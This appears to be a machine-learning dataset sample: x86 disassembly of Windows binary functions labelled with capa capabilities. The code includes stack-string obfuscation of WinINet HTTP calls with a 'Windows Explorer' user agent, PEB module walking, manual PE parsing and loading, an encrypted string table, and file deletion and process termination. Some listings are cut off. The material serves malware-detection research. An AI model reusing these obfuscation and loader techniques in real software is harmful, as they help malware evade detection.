joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7dee0460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0xff
lea eax, [ebp - 0x123]
push 0
push eax
mov byte [ebp - 0x124], 0
call fcn.7dee3460
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov ebx, dword [ecx + 0x7d8]
add esp, 0xc
cmp dword [edi + 0x950], 0
mov al, 0x6f
mov dword [ebp - 4], 0x544547
mov dword [ebp - 0x18], 0x646e6957
mov dword [ebp - 0x14], 0x2073776f
mov dword [ebp - 0x10], 0x6c707845
mov byte [ebp - 0xc], al
mov dword [ebp - 0xb], 0x726572
jne 0x7dee04e1
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x18]
push edx
push edi
call fcn.7dee1f80
add esp, 0x18
mov dword [edi + 0x950], eax
mov esi, dword [edi + 0x950]
test esi, esi
je 0x7dee0659
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
lea ecx, [ebp - 0x124]
push ecx
call fcn.7dee03e0
mov edx, dword [ebp + 0x18]
push 1
push 0
push 3
push 0
push 0
push 0x50
push edx
push esi
push edi
call fcn.7dee1ff0
mov esi, eax
add esp, 0x2c
mov dword [ebp - 0x24], esi
test esi, esi
je 0x7dee0659
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 4]
push ecx
push esi
push edi
call fcn.7dee2070
add esp, 0x24
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x7dee0560
push esi
push edi
call fcn.7dee21d0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push eax
push edi
call fcn.7dee20f0
add esp, 0x18
test eax, eax
jle 0x7dee0645
mov eax, dword [ebp + 0x1c]
mov dword [ebx + 0x2050], 1
test eax, eax
jne 0x7dee05a5
lea edx, [ebx + 0x6ef034]
mov dword [ebp + 8], edx
lea edx, [ebx + 0x206c]
lea esi, [ebx + 0x2068]
mov dword [ebp - 0x20], edx
jmp 0x7dee05bd
lea ecx, [ebx + 0x7434]
mov dword [ebp + 8], ecx
lea ecx, [ebx + 0x2010]
lea esi, [ebx + 0x2024]
mov dword [ebp - 0x20], ecx
mov dword [esi], 0
test eax, eax
je 0x7dee05ed
mov edx, dword [ebp + 8]
push 0x200
push edx
call fcn.7dee3410
lea eax, [ebx + 0x4f3c44]
push 0x14
push eax
add ebx, 0x6c14
push ebx
call fcn.7dee33e0
add esp, 0x14
mov eax, dword [esi]
mov ebx, dword [ebp - 0x1c]
lea ecx, [ebp + 0xc]
push ecx
mov edx, 0x1f4000
sub edx, eax
add eax, dword [ebp + 8]
push edx
push eax
push ebx
push edi
call fcn.7dee2160
add esp, 0x14
test eax, eax
je 0x7dee0639
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x7dee0639
add dword [esi], eax
mov eax, dword [esi]
lea edx, [ebp + 0xc]
push edx
mov ecx, 0x1f4000
sub ecx, eax
add eax, dword [ebp + 8]
push ecx
push eax
push ebx
push edi
call fcn.7dee2160
add esp, 0x14
test eax, eax
jne 0x7dee0610
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
mov dword [eax], 1
mov ecx, dword [ebp - 0x1c]
push ecx
push edi
call fcn.7dee21d0
push esi
push edi
call fcn.7dee21d0
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7dee0660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
xor eax, eax
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov byte [ebp - 8], al
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
push edi
mov al, 0x6f
mov byte [ebp - 0x20], al
xor eax, eax
push 0x7f
push eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov word [ebp - 0xf], ax
mov byte [ebp - 0xd], al
mov byte [ebp - 0xc0], al
lea eax, [ebp - 0xbf]
push eax
mov dword [ebp - 0x38], 0x2a2f2a
mov dword [ebp - 0xc], 0x54534f50
mov dword [ebp - 0x2c], 0x646e6957
mov dword [ebp - 0x28], 0x2073776f
mov dword [ebp - 0x24], 0x6c707845
mov dword [ebp - 0x1f], 0x726572
call fcn.7dee3460
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edi, dword [ecx + 0x7d8]
add esp, 0xc
cmp dword [esi + 0x950], 0
jne 0x7dee0711
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x2c]
push edx
push esi
call fcn.7dee1f80
add esp, 0x18
mov dword [esi + 0x950], eax
test eax, eax
je 0x7dee081a
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x7dee0739
lea esp, [esp]
cmp dword [eax], 0xa0d0a0d
je 0x7dee0730
inc eax
cmp byte [eax], 0
jne 0x7dee0720
jmp 0x7dee0739
mov dword [eax], 0
add eax, 4
push ebx
mov dword [ebp + 8], eax
push 0x2f
lea eax, [edi + 0x4f3ca4]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.7dee33e0
mov eax, dword [ebp + 0x18]
mov ecx, dword [esi + 0x950]
push 1
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
lea edx, [ebp - 0x38]
push esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0
call fcn.7dee1ff0
mov ebx, eax
add esp, 0x30
test ebx, ebx
je 0x7dee0819
push 1
push 0
lea edx, [ebp - 0x40]
push edx
push 0
push 0
lea eax, [edi + 0x4f3c64]
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push esi
call fcn.7dee2070
add esp, 0x24
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x7dee07c2
push ebx
push esi
call fcn.7dee21d0
add esp, 8
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
call fcn.7dee36b0
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.7dee36b0
add esp, 4
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc0]
push edx
push eax
push esi
call fcn.7dee20f0
add esp, 0x18
test eax, eax
jle 0x7dee0805
mov dword [edi + 0x2050], 1
mov ecx, dword [ebp + 0xc]
push ecx
push esi
call fcn.7dee21d0
push ebx
push esi
call fcn.7dee21d0
add esp, 0x10
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x7dee1f80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x10]
push ecx
push edx
lea esi, [eax + 0x954]
push esi
push eax
mov dword [ebp - 0x10], 0x65746e49
mov dword [ebp - 0xc], 0x74656e72
mov dword [ebp - 8], 0x6e65704f
mov word [ebp - 4], 0x41
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee1fde
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee1ff0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x958]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x6e6e6f43
mov dword [ebp - 8], 0x41746365
mov byte [ebp - 4], 0
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee205f
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee2070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x95c]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee20df
mov eax, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x24]
mov edx, dword [ebp + 0x20]
push eax
mov eax, dword [ebp + 0x1c]
push ecx
mov ecx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x7dee20f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x960]
push esi
push eax
mov dword [ebp - 0x14], 0x70747448
mov dword [ebp - 0x10], 0x646e6553
mov dword [ebp - 0xc], 0x75716552
mov dword [ebp - 8], 0x41747365
mov byte [ebp - 4], 0
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee2153
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 0xc]
push edx
push eax
push ecx
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee2160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x964]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x64616552
mov dword [ebp - 8], 0x656c6946
mov byte [ebp - 4], 0
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee21bf
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee21d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x14]
push esi
lea ecx, [ebp - 0x14]
push ecx
push edx
lea esi, [eax + 0x968]
push esi
push eax
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x736f6c43
mov dword [ebp - 8], 0x6e614865
mov dword [ebp - 4], 0x656c64
call fcn.7dee2610
mov esi, dword [esi]
add esp, 0x10
test esi, esi
je 0x7dee2226
mov eax, dword [ebp + 0xc]
push eax
call esi
salc
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee2a10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
Function at 0x7dee2aa0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x7dee2af8
cmp dword [esi + 0x18], 0
je 0x7dee2af8
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.7dee4320
add esp, 8
test eax, eax
jne 0x7dee2b00
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x7dee2ae0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee2b10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 4]
test edi, edi
je 0x7dee2b68
cmp dword [esi + 0x18], 0
je 0x7dee2b68
lea ecx, [ecx]
mov edx, dword [esi + 0x30]
push edi
push edx
call fcn.7dee4320
add esp, 8
test eax, eax
jne 0x7dee2b70
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x7dee2b50
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x30]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x7dee2c20
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
xor ecx, ecx
test edx, edx
je 0x7dee2c64
cmp dword [eax + 0x18], 0
je 0x7dee2c64
mov eax, dword [eax]
inc ecx
cmp ecx, edx
jb 0x7dee2c57
mov esp, ebp
pop ebp
ret

Function at 0x7dee2c70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x103
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.7dee3460
add esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [ebp - 4]
cmp dword [esi + 0x18], 0
je 0x7dee2cfb
mov edi, dword [ebp + 8]
lea esp, [esp]
mov eax, dword [esi + 0x30]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.7dee3a80
lea edx, [ebp - 0x10c]
push edx
push edi
call fcn.7dedc9c0
add esp, 0x10
test eax, eax
jne 0x7dee2d03
mov esi, dword [esi]
cmp dword [esi + 0x18], eax
jne 0x7dee2cd0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x7dee3140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x7dee314e
xor eax, eax
pop ebp
ret
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x7dee314a
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x7dee314a
mov edx, dword [ebp + 8]
push esi
mov dword [edx], eax
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [edx + 4], esi
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov dword [edx + 8], ecx
mov eax, 1
pop esi
pop ebp
ret

Function at 0x7dee3190
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x7dee31b4
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x7dee31b4
mov ebx, dword [edi + 0x3c]
add ebx, edi
cmp dword [ebx], 0x4550
je 0x7dee31bc
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x50]
mov eax, dword [ebp + 8]
push esi
inc edx
push edx
push eax
call fcn.7dee3590
mov ecx, dword [ebx + 0x50]
mov esi, eax
push ecx
push esi
call fcn.7dee3410
mov edx, dword [ebx + 0x54]
push edx
push edi
push esi
call fcn.7dee33e0
xor edx, edx
xor eax, eax
add esp, 0x1c
mov dword [ebp - 4], edx
cmp ax, word [ebx + 6]
jae 0x7dee324e
mov dword [ebp + 0xc], edx
jmp 0x7dee31f9
xor edx, edx
mov ecx, dword [edi + 0x3c]
add ecx, dword [ebp + 0xc]
lea eax, [ecx + esi + 0xf8]
mov ecx, dword [eax + 0x10]
cmp ecx, edx
jne 0x7dee3210
mov dword [eax + 0x14], edx
mov edx, dword [eax + 8]
cmp ecx, edx
jbe 0x7dee3226
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, edi
push edx
add eax, esi
push eax
jmp 0x7dee3233
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x14]
add ecx, edi
push ecx
add edx, esi
push edx
call fcn.7dee33e0
mov eax, dword [ebp - 4]
movzx ecx, word [ebx + 6]
add dword [ebp + 0xc], 0x28
inc eax
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x7dee31f7
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x7dee3260
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x7dee3280
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x7dee3280
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
je 0x7dee3284
xor eax, eax
pop ebp
ret
mov eax, dword [eax + ecx + 0x2c]
add eax, ecx
pop ebp
ret

Function at 0x7dee3300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x7dee3320
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x7dee3320
mov edx, dword [eax + 0x3c]
cmp dword [eax + edx], 0x4550
je 0x7dee3324
xor eax, eax
pop ebp
ret
mov eax, dword [eax + edx + 0x28]
test eax, eax
je 0x7dee3320
add eax, dword [ebp + 0xc]
pop ebp
ret
Function at 0x7dee4000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
cmp esi, 0x5d
jae 0x7dee423c
push ebx
push edi
push 0x773
push eax
mov byte [ebp - 0x1c], al
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
lea eax, [ebp - 0x793]
mov cl, 0xe7
push eax
mov dword [ebp - 0x20], 0x6c6c642e
mov dword [ebp - 0x820], 0xbee14005
mov dword [ebp - 0x81c], 0xc8066c2a
mov dword [ebp - 0x818], 0xccdfc1a9
mov dword [ebp - 0x814], 0xe245063a
mov dword [ebp - 0x810], 0x3ad226d0
mov dword [ebp - 0x80c], 0x8450707
mov dword [ebp - 0x808], 0xe0c8cb23
mov dword [ebp - 0x804], 0x4337a708
mov dword [ebp - 0x800], 0x57e44962
mov dword [ebp - 0x7fc], 0xa6aa08e7
mov dword [ebp - 0x7f8], 0x6525dcb0
mov dword [ebp - 0x7f4], 0x7b08e760
mov dword [ebp - 0x7f0], 0x1eb386be
mov dword [ebp - 0x7ec], 0x8e7a01f
mov dword [ebp - 0x7e8], 0xefa2d823
mov dword [ebp - 0x7e4], 0xe7a01f26
mov dword [ebp - 0x7e0], 0xa8fc2209
mov dword [ebp - 0x7dc], 0x4f1cc7ee
mov dword [ebp - 0x7d8], 0xef094116
mov dword [ebp - 0x7d4], 0x8ca89392
mov dword [ebp - 0x7d0], 0x4157a323
mov dword [ebp - 0x7cc], 0x9f8f1d09
mov dword [ebp - 0x7c8], 0xa3269dc3
mov dword [ebp - 0x7c4], 0x74094157
mov dword [ebp - 0x7c0], 0x507d60c3
mov dword [ebp - 0x7bc], 0x41107c91
mov dword [ebp - 0x7b8], 0x6357590b
mov dword [ebp - 0x7b4], 0x1deab58a
mov dword [ebp - 0x7b0], 0xf708ac79
mov dword [ebp - 0x7ac], 0x73ade308
mov dword [ebp - 0x7a8], 0xa1651ec6
mov dword [ebp - 0x7a4], 0xca3d06e7
mov dword [ebp - 0x7a0], 0x3ad226c4
mov dword [ebp - 0x79c], 0xb2fc3308
mov dword [ebp - 0x798], 0x615506cf
mov byte [ebp - 0x794], cl
call fcn.7dee3460
add esp, 0xc
lea eax, [ebp - 0x820]
test esi, esi
je 0x7dee41cc
dec esi
movzx ecx, byte [eax]
lea eax, [eax + ecx + 1]
jne 0x7dee41c2
lea esi, [eax + 1]
movzx eax, byte [eax]
lea edx, [ebp - 0x20]
push edx
push eax
push esi
call fcn.7ded27d0
xor eax, eax
add esp, 0xc
cmp byte [esi], al
je 0x7dee41ed
inc eax
cmp byte [esi + eax], 0
jne 0x7dee41e6
mov ebx, dword [ebp + 8]
inc eax
push eax
push esi
push ebx
call fcn.7dee33e0
add esp, 0xc
xor edi, edi
cmp byte [ebx], 0
je 0x7dee420a
inc edi
cmp byte [edi + ebx], 0
jne 0x7dee4203
xor esi, esi
cmp byte [ebp - 0x20], 0
je 0x7dee421a
inc esi
cmp byte [ebp + esi - 0x20], 0
jne 0x7dee4212
test esi, esi
je 0x7dee422f
push esi
lea ecx, [ebp - 0x20]
lea eax, [edi + ebx]
push ecx
push eax
call fcn.7dee3430
add esp, 0xc
add esi, edi
pop edi
mov byte [esi + ebx], 0
mov eax, 1
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4457a0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 4]
push edi
xor edi, edi
mov ax, word [esi + 0xc]
mov word [esi - 0x838], di
mov word [esi - 0x844], ax
mov eax, dword [esp + 8]
cmp eax, 0xffffffff
jne 0x4457c7
mov dword [esi - 4], edi
mov eax, dword [esi - 0x834]
mov dword [esi - 0x89c], 0x3c
cmp dword [eax - 4], 1
jbe 0x44580c
mov eax, dword [esi - 0x83c]
lea ecx, [esi - 0x858]
lea edx, [esi - 0x828]
push ecx
push edx
mov edx, dword [esi - 0x82c]
lea ecx, [esi - 0x810]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi - 0x834]
mov ecx, dword [esi + 0x10]
mov edx, dword [esp + 8]
mov dword [esi - 0x88c], eax
mov eax, dword [esi + 8]
mov dword [esi - 0x898], 0x40
mov dword [esi - 0x824], eax
mov dword [esi - 0x818], ecx
mov dword [esi - 0x858], edi
mov dword [esi - 0x820], edx
mov dword [esi - 0x854], edi
mov dword [esi - 0x850], edi
mov dword [esi - 0x84c], edi
mov dword [esi - 0x848], edi
mov eax, dword [esi - 0x818]
add eax, 0x14
mov dword [esi - 0x830], edi
mov dword [esi - 0x83c], eax
mov eax, dword [esi - 0x864]
cmp eax, edi
mov dword [esi - 0x840], edi
je 0x445882
lea eax, [esi*8]
pop edi
pop esi
pop ecx
ret

Function at 0x4678a0
Capabilities:
Terminate process

Disassembly:
push 0x519898
mov dword [0x519944], 0x32336c65
mov dword [0x519950], 0x6c64746e
mov dword [0x519948], 0x6c6c642e
mov dword [0x519940], 0x6e72656b
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4678dc
call fcn.004899b0
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x519a58
mov dl, 0x6c
push eax
rep stosd dword es:[edi], eax
mov dword [0x519a80], 0x20644965
push eax
mov dword [0x519954], 0x6c642e6c
mov byte [0x519958], dl
mov dword [0x519a70], 0x65746163
mov byte [0x519a7a], 0x79
mov dword [0x519a74], 0x61636f4c
mov dword [0x519a6c], 0x6f6c6c41
mov byte [0x519a7b], 0x55
mov dword [0x519a7c], 0x7571696e
mov byte [0x519a83], al
mov word [0x519ac0], 0x7274
mov byte [0x519a78], dl
mov byte [0x519a79], dl
mov dword [0x519abc], 0x73727473
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push ecx
push edx
push eax
call fcn.004ac780
add esp, 0x10
xor eax, eax
pop edi
ret 0x10
Function at 0x4899b0
Capabilities:
Delete file
Query environment variable

Disassembly:
mov eax, dword [0x5199b0]
sub esp, 8
cmp eax, 0xbb40e64e
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
push edi
je 0x4899e4
test eax, 0xffff0000
je 0x4899e4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x10]
mov ecx, eax
not ecx
mov dword [0x5199b4], ecx
jmp 0x489a3f
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov esi, ebx
xor esi, edi
xor esi, edx
cmp esi, 0xbb40e64e
je 0x489a05
test eax, 0xffff0000
jne 0x489a0a
mov esi, 0xbb40e64f
push 0
mov dword [0x5199b0], esi
call ebp
push 0
push 0
push 5
push 1
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
not eax
mov dword [0x5199b4], eax
mov eax, dword [0x5199b0]
cmp eax, 0xbb40e64e
je 0x489a59
test eax, 0xffff0000
je 0x489a59
mov edi, eax
not edi
mov dword [0x5199b4], edi
jmp 0x489ac2
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov esi, ebx
mov ebx, dword [sym.imp.WININET.dll_InternetOpenA]
xor esi, ecx
mov edi, 0x80
xor esi, eax
push 0
call ebp
push 0
push 0
push 5
push 1
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
dec edi
jne 0x489a72
cmp esi, 0xbb40e64e
je 0x489aa6
test dword [0x5199b0], 0xffff0000
jne 0x489aab
mov esi, 0xbb40e64f
mov ebx, dword [esp + 0x10]
mov ecx, esi
mov eax, esi
not ecx
mov dword [0x5199b0], eax
mov edi, ecx
mov dword [0x5199b4], ecx
cmp eax, 0xbb40e64e
je 0x489ae6
test eax, 0xffff0000
je 0x489ae6
push ebx
mov dword [0x5199b4], edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x489b2e
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
xor ebx, ecx
mov edi, ecx
xor ebx, edx
xor edi, edx
mov esi, ebx
cmp esi, 0xbb40e64e
je 0x489b07
test eax, 0xffff0000
jne 0x489b0c
mov esi, 0xbb40e64f
push 0x5197a2
mov dword [0x5199b0], esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x489b26
call fcn.00445890
not esi
mov dword [0x5199b4], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x51988c], eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret